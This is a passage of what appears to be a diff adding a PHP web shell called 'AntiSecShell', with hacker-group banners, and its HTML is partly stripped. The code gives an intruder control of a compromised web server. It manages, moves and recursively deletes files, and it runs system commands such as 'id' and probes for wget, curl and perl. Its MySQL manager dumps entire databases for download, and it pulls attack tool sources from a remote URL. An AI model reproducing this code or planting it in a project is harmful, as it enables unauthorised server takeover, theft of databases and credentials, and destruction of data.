"ass5h_datapipe.c" => "ass5h_datapipe_c.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($ass5h_sourcesurl.$name);} + else {return FALSE;} + } + } + if (!function_exists("ass_buff_prepare")) { + function ass_buff_prepare() { + global $sess_data; + global $antisec; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($antisec != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} + } + } + ass_buff_prepare(); + if (!function_exists("ass_sess_put")) { + function ass_sess_put($data) { + global $sess_cookie; + global $sess_data; + ass_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); + } + } + foreach (array("sort","sql_sort") as $v) { + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} + } + if ($sort_save) { + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} + } + if (!function_exists("str2mini")) { + function str2mini($content,$len) { + if (strlen($content) > $len) { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } else {return $content;} + } + } + if (!function_exists("view_size")) { + function view_size($size) { + if (!is_numeric($size)) { return FALSE; } + else { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } + } + } + if (!function_exists("ass_copy_dir")) { + function ass_copy_dir($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); ass_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; + } + } + if (!function_exists("ass_copy_obj")) { + function ass_copy_obj($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return ass_copy_dir($d,$t); + } + elseif (is_file($d)) { return copy($d,$t); } + else { return FALSE; } + } + } + if (!function_exists("ass_move_dir")) { + function ass_move_dir($d,$t) { + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and ass_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; + } + } + if (!function_exists("ass_move_obj")) { + function ass_move_obj($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return ass_move_dir($d,$t); + } + elseif (is_file($d)) { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} + } + } + if (!function_exists("ass_rmdir")) { + function ass_rmdir($d) { + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {ass_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); + } + } + if (!function_exists("ass_rmobj")) { + function ass_rmobj($o) { + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return ass_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} + } + } + if (!function_exists("tabsort")) { + function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);} + } + if (!function_exists("v13w_p3rm5")) { + function v13w_p3rm5($mode) { + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + return $type.join("",$owner).join("",$group).join("",$world); + } + } + if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} + if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} + if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} + if (!function_exists("parse_perms")) { + function parse_perms($mode) { + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); + } + } + if (!function_exists("parsesort")) { + function parsesort($sort) { + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); + } + } + if (!function_exists("v13w_p3rm5_color")) { + function v13w_p3rm5_color($o) { + if (!is_readable($o)) {return "".v13w_p3rm5(fileperms($o))."";} + elseif (!is_writable($o)) {return "".v13w_p3rm5(fileperms($o))."";} + else {return "".v13w_p3rm5(fileperms($o))."";} + } + } + if (!function_exists("mysql_dump")) { + function mysql_dump($set) { + global $sh_ver; + $sock = $set["sock"]; + $db = $set["db"]; + $porint = $set["print"]; + $annl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($porint)) {$porint = 0;} + if (empty($annl2br)) {$annl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) { + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = " + # Dump3d by ".$sh_name." + # AntiSecShell - ASS + # H057 53771ng5: + # MySQL v3rs10n: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." + # D473: ".date("d.m.Y H:i:s")." + # DB: \"".$db."\" + #------------------ASS---------------ASS------------------------"; + $c = count($onlytabs); + foreach($tabs as $tab) { + if ((in_array($tab,$onlytabs)) or (!$c)) { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) { + while ($row = mysql_fetch_assoc($res)) { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#------------------ASS---------------ASS----------------------ASS------------ASS---------\n\n"; + if ($file) { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($porint) {if ($annl2br) {echo nl2br($out);} else {echo $out;}} + return $out; + } + } + if (!function_exists("mysql_buildwhere")) { + function mysql_buildwhere($array,$sep=" and",$functs=array()) { + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; + } + } + if (!function_exists("mysql_fetch_all")) { + function mysql_fetch_all($query,$sock) { + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; + } + } + if (!function_exists("mysql_smarterror")) { + function mysql_smarterror($type,$sock) { + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; + } + } + if (!function_exists("mysql_query_form")) { + function mysql_query_form() { + global $submit,$sql_antisec,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
        ".$sql_query_error."
        ";} + if ($sql_query_result or (!$sql_confirm)) {$sql_antisec = $sql_goto;} + if ((!$submit) or ($sql_antisec)) { + echo ""; + if ($tbl_struct) { + echo "
        "; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":



        Fields:
        "; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ ".$name."
        ";} + echo "
        "; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} + } + } + if (!function_exists("mysql_create_db")) { + function mysql_create_db($db,$sock="") { + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} + } + } + if (!function_exists("mysql_query_parse")) { + function mysql_query_parse($query) { + $query = trim($query); + $arr = explode (" ",$query); + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) { + foreach($arr as $k=>$v) { + if (strtoupper($v) == "LIMIT") { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} + } + } + if (!function_exists("assfsearch")) { + function assfsearch($d) { + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) { + if($f != "." && $f != "..") { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {assfsearch($d.$f);} + } + else { + $search_i_f++; + if ($bool) { + if (!empty($a["text"])) { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); + } + } + if ($antisec == "gofile") { + if (is_dir($f)) { $antisec = "ls"; $d = $f; } + else { $antisec = "f"; $d = dirname($f); $f = basename($f); } + } + @ob_start(); + @ob_implicit_flush(0); + function onphpshutdown() { + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } + } + function ass5h3x17() { + onphpshutdown(); + exit; + } + header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); + header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + header("Cache-Control: no-store, no-cache, must-revalidate"); + header("Cache-Control: post-check=0, pre-check=0", FALSE); + header("Pragma: no-cache"); + if (empty($tmpdir)) { + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} + } + $tmpdir = realpath($tmpdir); + $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); + if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} + if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} + else {$tmpdir_logs = realpath($tmpdir_logs);} + function showstat($stat) { + if ($stat=="on") { return "ON"; } + else { return "OFF"; } + } + function testperl() { + if (ex('perl -h')) { return showstat("on"); } + else { return showstat("off"); } + } + function testfetch() { + if(ex('fetch --help')) { return showstat("on"); } + else { return showstat("off"); } + } + function testwget() { + if (ex('wget --help')) { return showstat("on"); } + else { return showstat("off"); } + } + function testoracle() { + if (function_exists('ocilogon')) { return showstat("on"); } + else { return showstat("off"); } + } + function testpostgresql() { + if (function_exists('pg_connect')) { return showstat("on"); } + else { return showstat("off"); } + } + function testmssql() { + if (function_exists('mssql_connect')) { return showstat("on"); } + else { return showstat("off"); } + } + function testcurl() { + if (function_exists('curl_version')) { return showstat("on"); } + else { return showstat("off"); } + } + function testmysql() { + if (function_exists('mysql_connect')) { return showstat("on"); } + else { return showstat("off"); } + } + function showdisablefunctions() { + if ($disablefunc=@ini_get("disable_functions")){ return "".$disablefunc.""; } + else { return "NONE"; } + } + if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { + $safemode = TRUE; + $hsafemode = "54F3 M0D3 15 0N (53cur3)"; + } + else { + $safemode = FALSE; + $hsafemode = "54F3 M0D3 15 0FF (N07 53cur3)"; + } + $v = @ini_get("open_basedir"); + if ($v or strtolower($v) == "on") { + $openbasedir = TRUE; + $hopenbasedir = "".$v.""; + } + else { + $openbasedir = FALSE; + $hopenbasedir = "OFF (n07 53cur3)"; + } + $sort = htmlspecialchars($sort); + if (empty($sort)) {$sort = $sort_default;} + $sort[1] = strtolower($sort[1]); + $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); + if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} + $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()."",htmlspecialchars($DISP_SERVER_SOFTWARE)); + @ini_set("highlight.bg",$highlight_bg); + @ini_set("highlight.comment",$highlight_comment); + @ini_set("highlight.default",$highlight_default); + @ini_set("highlight.html",$highlight_html); + @ini_set("highlight.keyword",$highlight_keyword); + @ini_set("highlight.string",$highlight_string); + if (!is_array($antisecbox)) { $antisecbox = array(); } + $dsantisec = $antisec = htmlspecialchars($antisec); + $disp_fullpath = $ls_arr = $notls = null; + $ud = urlencode($d); + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (empty($d)) {$d = realpath(".");} + elseif(realpath($d)) {$d = realpath($d);} + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $d = str_replace("\\\\","\\",$d); + $dispd = htmlspecialchars($d); +echo $html_start; +echo "

        $sh_name

        | pr0j3c7 m4yh3m | 4n71-s3c m0v3m3n7 | fuck wh173h475 |
        \n"; +echo "". + ""; +echo ""; +echo "

        ". + "50f7w4r3 : ".$DISP_SERVER_SOFTWARE ." - php.ini
        ". + "$hsafemode
        ". + "OS : ".php_uname()."
        "; +if (!$win) { echo "Us3r 1D : ".s3x3c("id"); } +else { echo "User : " . get_current_user(); } +echo "

        53rv3r 1P : ".gethostbyname($_SERVER["HTTP_HOST"])." - ". + "Y0ur 1P - h1d3 17 v14 t0r n37w0rk : ".$_SERVER["REMOTE_ADDR"]."
        "; +if($win){echo "Dr1v3s : ".disp_drives($d,$surl)."
        ";} +echo "Fr33sp4c3 : ".disp_freespace($d); +echo "

        "; +echo "MySQL: ".testmysql()." MSSQL: ".testmssql()." Oracle: ".testoracle()." MSSQL: ".testmssql()." PostgreSQL: ".testpostgresql(). + " cURL: ".testcurl()." WGet: ".testwget()." Fetch: ".testfetch()." Perl: ".testperl()."
        "; +echo "Disabled Functions: ".showdisablefunctions(); +echo "

        "; +echo "

        "; +$pod = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pod as $b) { + $t = ""; $j = 0; + + foreach ($e as $r) { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) { break; } + $j++; + } + echo "".htmlspecialchars($b).DIRECTORY_SEPARATOR.""; + $i++; +} +echo " - "; +if (is_writable($d)) { + $wd = TRUE; + $wdt = "[OK]"; + echo "".v13w_p3rm5(fileperms($d)).""; +} +else { + $wd = FALSE; + $wdt = "[Read-Only]"; + echo "".v13w_p3rm5_color($d).""; +} +?> +

        +
        +
        +Directory: +
        +
        +
        +
        \n"; +if ($antisec == "") { $antisec = $dsantisec = "ls"; } +if ($antisec == "phpini" ) { get_phpini(); } +if ($antisec == "sql") { + $sql_surl = $surl."antisec=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + echo "

        Attention! SQL-Manager is NOT a ready module! Don't reports bugs.

        ". + "". + ""; + if (!$sql_sock) { + echo ""; +} +echo "
        "; + if ($sql_server) { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo ".: SQL Manager :.
        "; + if (!$sql_sock) { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "Can't connect! ".$err;} + } + else { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."antisec=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_antisec=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."antisec=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_antisec=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."antisec=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_antisec=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."antisec=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_antisec=processes"); + $sqlquicklaunch[] = array("Logout",$surl."antisec=sql"); + echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")
        "; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} + } + echo "
      • If login is null, login is owner of process.
      • If host is null, host is localhost
      • If port is null, port is 3306 (default)
      • "; + echo ""; + } + else { + if (!empty($sql_db)) { + ?>
        Please, fill the form:
        UsernamePasswordDatabase
        HostPORT
        ">Home
        + ".htmlspecialchars($sql_db)." ]---
        "; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "".htmlspecialchars($row[0])." (".$count_row[0].")
        "; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else { + ?>
        Home
        +

        Please, select database
        +
        "; + $diplay = TRUE; + if ($sql_db) { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "
        There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").
        "; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} + echo "
        "; + $antisecs = array("","dump"); + if ($sql_antisec == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_antisec = "query";} + elseif ($sql_antisec == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_antisec = "query";} + elseif ($sql_antisec == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_antisec = "dump";} + elseif ($sql_antisec == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_antisec = "query";} + elseif ($sql_antisec == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_antisec = "query";} + elseif ($sql_antisec == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_antisec = "query";} + elseif ($sql_antisec == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_antisec = "query";} + elseif ($sql_antisec == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_antisec = "query";} + elseif ($sql_tbl_antisec == "insert") { + if ($sql_tbl_insert_radio == 1) { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_antisec = "query"; + $sql_tbl_antisec = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_antisec = "query"; + $sql_tbl_antisec = "browse"; + } + } + if ($sql_antisec == "query") { + echo "
        "; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
        ".$sql_query_error."
        ";} + if ($sql_query_result or (!$sql_confirm)) {$sql_antisec = $sql_goto;} + if ((!$submit) or ($sql_antisec)) {echo "
        "; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "



        ";} + } + if (in_array($sql_antisec,$antisecs)) { + ?> + +
        Create new table: +
        + + + + + + + + + +
        Dump DB: +
        + + + + + + ">
        + ";} + if ($sql_antisec == "newtbl") { + echo ""; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) { + echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
        "; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
        Reason: ".mysql_smarterror();} + } + elseif ($sql_antisec == "dump") { + if (empty($submit)) { + $diplay = FALSE; + echo "
        SQL-Dump:

        "; + echo "DB:

        "; + $v = join (";",$dmptbls); + echo "Only tables (explode \";\") 1: 

        "; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "File: 

        "; + echo "Download:  

        "; + echo "Save to file:  "; + echo "



        1 - all, if empty"; + echo "
        "; + } + else { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else { + fwrite($fp,$ret); + fclose($fp); + echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")."; + } + } + else {echo "Dump: nothing to do!";} + } + } + if ($diplay) { + if (!empty($sql_tbl)) { + if (empty($sql_tbl_antisec)) {$sql_tbl_antisec = "browse";} + $count = 